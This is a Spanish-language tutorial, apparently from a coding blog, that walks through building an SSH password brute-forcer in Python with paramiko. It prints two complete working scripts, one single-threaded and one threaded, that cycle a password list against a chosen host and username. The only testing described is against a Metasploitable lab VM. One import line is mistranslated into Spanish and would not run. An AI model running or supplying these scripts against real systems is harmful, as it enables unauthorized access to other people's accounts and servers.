Escribe una fuerza bruta SSH usando python

Escribe una fuerza bruta SSH usando python – Codelivly

 

Índice
  1. ¿Qué es un protocolo SSH?
  2. ¿Qué es un ataque de fuerza bruta?
  3. escribir el guion
    1. Paso 1: importar los módulos requeridos
    2. Paso 2: Pide información al usuario
    3. Paso 3: Implementando la función ssh_connect()
    4. paso 4: Descubrir la contraseña
  4. El script completo del script SSHbruteforcer
  5. Salida de secuencia de comandos
  6. Mejorar nuestro escenario
    1. Paso 1: importa más módulos
    2. Paso 2: Modificar la función ssh_connect()
    3. Paso 3: Cambiar el descubrimiento de la parte de la contraseña
  7. El script completo SSHbruteforcer subprocesos
  8. La salida final del guión

¿Qué es un protocolo SSH?

SSH (también conocido como Secure Shell) es un protocolo de red para la conexión remota segura de una computadora a otra. Proporciona varias opciones alternativas para una autenticación fuerte y protege la seguridad y la integridad de las comunicaciones con un cifrado fuerte. Además, los administradores de red utilizan ampliamente SSH para administrar sistemas y aplicaciones de forma remota, lo que les permite conectarse a otra computadora en una red, ejecutar comandos y mover archivos de una computadora a otra.

¿Qué es un ataque de fuerza bruta?

Un ataque de fuerza bruta utiliza prueba y error para adivinar las credenciales de inicio de sesión, las claves de cifrado o encontrar una página web oculta. Para las credenciales de inicio de sesión, los atacantes prueban todas las combinaciones posibles hasta que encuentran una que funcione correctamente.

escribir el guion

Paso 1: importar los módulos requeridos

  • paramiko: Automatiza el proceso de inicio de sesión a nuestro cliente ssh.
  • sys: Nos permite acceder a configuraciones y funciones específicas del sistema.
  • os: proporciona funciones para interactuar con el sistema operativo.
  • termcolor: utilizado para el formato de color para la salida al terminal.
# Fragmento de código Python
importar paramiko, sys, os, zócalo, termcolor

Paso 2: Pide información al usuario

Requerimos que el usuario ingrese una dirección de destino, un nombre de usuario SSH y un archivo de contraseña. A continuación, comprobamos la existencia del archivo/ruta. Si no se encuentra el archivo/ruta, salimos del programa.

#Python code snippet
host = input('[+] Target Address: ')
username = input('[+] SSH Username: ')
input_file = input('[+] Passwords File: ')
print('\n')

if os.path.exists(input_file) == False:
    print('[!!] That File/Path Does Not Exist')
    sys.exit(1)

Paso 3: Implementando la función ssh_connect()

ssh_connect toma dos parámetros, "contraseña", que se proporciona de la lista de contraseñas especificada, y "código", que tiene un valor predeterminado de cero. Se encarga de conectarnos con el cliente SSH. Comenzamos nuestra función con las dos líneas base que necesitamos antes de intentar conectarnos al cliente SSH. Después de eso, intentamos conectarnos al cliente SSH y manejar algunas de las excepciones que pueden ocurrir. En el caso de la excepción de autenticación, establecemos la variable de código igual a 1. En el caso del error de socket, establecemos la variable de código igual a 2. Estos valores de código, los usaremos más tarde para averiguar si logramos para encontrar la contraseña correcta o no. Y al final cerramos la conexión después de cada intento y devolvemos el valor del código.

# Python code snippet
def ssh_connect(password, code=0):
    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy)

    try:
        ssh.connect(host, port=22, username=username, password=password)
    except paramiko.AuthenticationException:
        code = 1
    except socket.error:
        code = 2

    ssh.close()
    return code

paso 4: Descubrir la contraseña

Abrimos el archivo de contraseñas y lo revisamos línea por línea. Establecemos la variable de contraseña para cada contraseña en el archivo de contraseñas. Luego llamamos a la función ssh_connect para intentar conectarnos al cliente SSH y almacenar el valor devuelto en la variable de respuesta y verificar este valor devuelto. Si la variable de respuesta es 0, significa que la conexión se ha establecido correctamente y hemos encontrado la contraseña correcta, por lo que salimos del programa. De lo contrario, si la variable de respuesta es igual a 1, significa que la conexión no se ha establecido y la contraseña es incorrecta. De lo contrario, si la variable de respuesta es igual a 2, significa que hay un problema de conexión, por lo que salimos del programa. Al final, imprimimos cualquier otra excepción que no hayamos cubierto y la aprobamos, porque la excepción solo puede ocurrir en una contraseña.

# Python code snippet
with open(input_file, 'r') as file:
    for line in file.readlines():
        password = line.strip()
        try:
            response = ssh_connect(password)
            if response == 0:
                print(termcolor.colored(('[+] Found Password: ' + password + ' ,For Account: ' + username),'green'))
                break
            elif response == 1:
                print('[-] Incorrect Login: ' + password)
            elif response == 2:
                print('[!!] Can Not Connect')
                sys.exit(1)
        except Exception as e:
            print(e)
            pass

El script completo del script SSHbruteforcer

Después de poner todos los pasos juntos, aquí está nuestro script completo.

import paramiko, sys, os, socket, termcolor

def ssh_connect(password, code=0):
    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy)

    try:
        ssh.connect(host, port=22, username=username, password=password)
    except paramiko.AuthenticationException:
        code = 1
    except socket.error:
        code = 2

    ssh.close()
    return code

host = input('[+] Target Address: ')
username = input('[+] SSH Username: ')
input_file = input('[+] Passwords File: ')
print('\n')

if os.path.exists(input_file) == False:
    print('[!!] That File/Path Does Not Exist')
    sys.exit(1)

with open(input_file, 'r') as file:
    for line in file.readlines():
        password = line.strip()
        try:
            response = ssh_connect(password)
            if response == 0:
                print(termcolor.colored(('[+] Found Password: ' + password + ' ,For Account: ' + username),'green'))
                break
            elif response == 1:
                print('[-] Incorrect Login: ' + password)
            elif response == 2:
                print('[!!] Can Not Connect')
                sys.exit(1)
        except Exception as e:
            print(e)
            pass

Salida de secuencia de comandos

Usamos una configuración de virtualbox que consta de dos máquinas virtuales (Kali Linux y Metasploitable). Ejecutamos el script en la máquina Kali Linux y nuestro objetivo es la máquina metasploitable. Aquí están los resultados de nuestro script como se muestra a continuación.

sshbruteforcer_output

Como se muestra en la imagen de arriba, nuestro script logró encontrar la contraseña de cliente SSH correcta. Pero observamos que nuestro script es un poco lento, así que intentemos mejorar nuestro script usando hilos.

Nota: En cuanto al archivo de texto de contraseñas, puede descargar una lista de contraseñas comunes de Internet o crearla usted mismo.

Mejorar nuestro escenario

Paso 1: importa más módulos

  • Threading: permite que un programa realice múltiples operaciones simultáneamente en el mismo espacio de proceso.
  • Tiempo: proporciona muchas formas de representar el tiempo en el código. También proporciona características distintas a la representación del tiempo, como esperar mientras se ejecuta el código y medir la eficiencia de su código.
# Python code snippet 
import threading, time

Paso 2: Modificar la función ssh_connect()

Inicializamos una variable stop_flag con el valor cero fuera de la función. A continuación, establecemos la variable stop_flag como global dentro de la función, de modo que la variable vlaue sea legible y accesible incluso fuera de la función. Después de eso, usamos las mismas dos líneas base antes de iniciar sesión en el cliente SSH. Luego intentamos conectarnos al cliente SSH. Si la conexión se establece con éxito, establecemos el valor de stop_flag en 1 e imprimimos la contraseña descubierta correcta. De lo contrario, si no se estableció la conexión, simplemente imprimimos una declaración de conexión incorrecta y cerramos la conexión.

# Python code snippet
stop_flag = 0

def ssh_connect(password):
    global stop_flag
    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    try:
        ssh.connect(host, port=22, username=username, password=password)
        stop_flag = 1
        print(termcolor.colored(('[+] Found Password: ' + password + ', For Account: ' + username), 'green'))
    except:
        print(termcolor.colored(('[-] Incorrect Login: ' + password), 'red'))
    ssh.close()

Paso 3: Cambiar el descubrimiento de la parte de la contraseña

Abrimos el archivo de contraseñas y lo navegamos. Luego verificamos cada vez si el valor de stop_flag se cambia a 1 o no. Si el valor de stop_flag se cambia a 1, unimos todos los subprocesos en ejecución y salimos del programa. De lo contrario, establecemos el valor de la variable de contraseña para cada contraseña en el archivo de contraseñas y creamos un objeto de subproceso "t", luego ejecutamos la función de subproceso en la función ssh_connect como el primer parámetro y sus argumentos como el segundo parámetro en nuestro caso tienen un solo parámetro que es la contraseña. Necesitamos agregar como aquí después del argumento de la contraseña, aunque solo tenemos un argumento, para que la función de subproceso funcione correctamente. Después de eso, comenzamos el hilo y dormimos por un segundo después de cada vez que iniciamos el hilo.

# Python code snippet
with open(input_file, 'r') as file:
    for line in file.readlines():
        if stop_flag == 1:
            t.join()
            exit()
        password = line.strip()
        t = threading.Thread(target=ssh_connect, args=(password,))
        t.start()
        time.sleep(1)

El script completo SSHbruteforcer subprocesos

Después de terminar de editar el guión, aquí está el guión completo final.

import paramiko, sys, os, termcolor
import threading, time

stop_flag = 0

def ssh_connect(password):
    global stop_flag
    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    try:
        ssh.connect(host, port=22, username=username, password=password)
        stop_flag = 1
        print(termcolor.colored(('[+] Found Password: ' + password + ', For Account: ' + username), 'green'))
    except:
        print(termcolor.colored(('[-] Incorrect Login: ' + password), 'red'))
    ssh.close()

host = input('[+] Target Address: ')
username = input('[+] SSH Username: ')
input_file = input('[+] Passwords File: ')
print('\n')

if os.path.exists(input_file) == False:
    print('[!!] That File/Path Does Not Exist')
    sys.exit(1)

print('* * * Starting Threaded SSH Bruteforce On ' + host + ' With Account: ' + username + ' * * *')


with open(input_file, 'r') as file:
    for line in file.readlines():
        if stop_flag == 1:
            t.join()
            exit()
        password = line.strip()
        t = threading.Thread(target=ssh_connect, args=(password,))
        t.start()
        time.sleep(1)

La salida final del guión

Aquí están nuestros resultados finales del guión. Esta vez usamos una lista de contraseñas más grande que la primera vez y observamos que el script se volvió más rápido para descubrir la contraseña correcta.

Threaded_sshbruteforcer_output

Si quieres conocer otros artículos parecidos a Escribe una fuerza bruta SSH usando python puedes visitar la categoría Tutoriales.

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Subir

Esta página web utiliza cookies para analizar de forma anónima y estadística el uso que haces de la web, mejorar los contenidos y tu experiencia de navegación. Para más información accede a la Política de Cookies . Ver mas